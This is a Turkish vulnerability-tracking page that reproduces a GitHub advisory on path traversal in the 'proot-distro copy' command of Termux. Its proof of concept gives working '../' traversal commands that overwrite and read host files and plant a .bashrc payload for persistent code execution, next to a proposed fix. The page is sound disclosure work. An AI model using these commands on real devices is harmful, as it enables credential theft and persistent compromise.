GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
Noroxi değerlendirmesi
Öncelik: İzleyin (aksiyon skoru 26/100)
- İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
- Sisteme yerel erişimi olan biri tetikleyebilir. Düşük yetkili bir hesap yeterli. Bir kullanıcının bağlantıyı açması ya da sayfayı ziyaret etmesi gerekir. Özel bir koşul gerekmez; tekrarlanabilir.
- Düzeltilmiş sürüm: proot-distro (PyPI) 5.1.0.
Şimdilik düşük öncelik. proot-distro (PyPI) 5.1.0 ya da daha yeni sürüme yükseltin.
Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz
Birincil kaynaklar: OSV
<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2> Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 <hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" > ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt proot-distro copy \ ~/poc/evil.txt \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" > ~/poc/secret.txt proot-distro copy \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/read_result.txt </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh proot-distro copy ~/poc/payload.sh \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED > ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>
- Yayın
- 17 Tem 2026
- Güncelleme
- 17 Tem 2026
- EPSS
- —
- CWE
- CWE-22
Rapor araçları
Aksiyon skoru
26
Şimdilik düşük öncelik.
- CVSS
- 26 / 40 · 6.6 / 10
- CISA KEV
- 0 / 30 · Listede değil
- EPSS
- 0 / 30 · —
Bu kayıt değişirse haber alın
- KEV'de değil: sahada sömürü kaydı yok
- Herkese açık istismar kodu kaydı yok
- Düzeltme yayımlandı
Bunlardan biri değişirse günlük e-posta özetinde haber veririz.
Sürümünüz etkileniyor mu? Kontrol edinNoroxi analizi
Sizin ortamınızda ne anlama geliyor?
Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.
Bu ürünü kullanıyoruz, yardım isteyinEtkilenen sistemler
Sürümünüz etkileniyor mu?
Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.
| Üretici | Ürün | CPE |
|---|---|---|
| PyPI | proot-distro | pkg:pypi/proot-distro |
Paket düzeyi etkilenme
OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.
| Ekosistem | Paket | Etkilenen aralık | Düzeltme |
|---|---|---|---|
| PyPI | proot-distro | 5.1.0 öncesi | 5.1.0 |
Düzeltme
Hangi sürüme geçmeli
Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.
| Ürün / paket | Düzeltilmiş sürüm | Kaynak |
|---|---|---|
| PyPI:proot-distro | 5.1.0 | Paket deposu (OSV) |
İstismar durumu
Bilinen kamuya açık istismar yok
Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.
Araştırma bağlamı
Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.
Zaman çizelgesi
Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.
Yayın dışında tarihli olay yok.
Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.
Teknik detay
Saldırı koşulları
- Sisteme yerel erişimi olan biri tetikleyebilir.
- Düşük yetkili bir hesap yeterli.
- Bir kullanıcının bağlantıyı açması ya da sayfayı ziyaret etmesi gerekir.
- Özel bir koşul gerekmez; tekrarlanabilir.
Başarılı olursa
- Gizlilik
- yüksek · veriler okunabilir
- Bütünlük
- yüksek · veri ya da yapılandırma değiştirilebilir
- Erişilebilirlik
- yok
- Saldırı vektörü
- Yerel
- Karmaşıklık
- Düşük
- Gereken yetki
- Düşük
- Kullanıcı etkileşimi
- Gerekir
- Kapsam
- Değişmez
- Gizlilik etkisi
- Yüksek
- Bütünlük etkisi
- Yüksek
- Erişilebilirlik etkisi
- Yok
Zayıflık sınıfı (CWE)
CWE-22 · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CVSS vektörü
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
osv
Kök neden
Kullanıcının verdiği dosya adı izin verilen klasörle birleştiriliyor, ama sonucun hâlâ o klasörün içinde olup olmadığı kontrol edilmiyor.
Hatanın kod karşılığı
CWE-22 sınıfının tamamıBu zafiyet sınıfının temsili örneği. Üreticinin kaynak kodu değildir; hatalı kalıbı ve düzeltmesini gösterir.
Hatalı
const file = path.join(ROOT, req.query.name);
res.sendFile(file);Düzeltilmiş
const file = path.resolve(ROOT, req.query.name);
if (!file.startsWith(ROOT + path.sep)) {
return res.sendStatus(400);
}
res.sendFile(file);Saldırı bağlamı
Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.
Saldırı desenleri (CAPEC)
- Path TraversalCAPEC-126olasılık: High · Very High
- Using Slashes and URL Encoding Combined to Bypass Validation LogicCAPEC-64olasılık: High · High
- Manipulating Web Input to File System CallsCAPEC-76olasılık: High · Very High
- Using Escaped Slashes in Alternate EncodingCAPEC-78olasılık: High · High
- Using Slashes in Alternate EncodingCAPEC-79olasılık: High · High
ATT&CK teknikleri
—
Değişiklik günlüğü (1)
- Düzeltme✗ → ✓
Takip ettiğiniz kayıtlarda bu değişiklikler bildirim olarak da gelir. →
Referanslar
Tüm referansları göster (2 daha)Daha az göster
Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.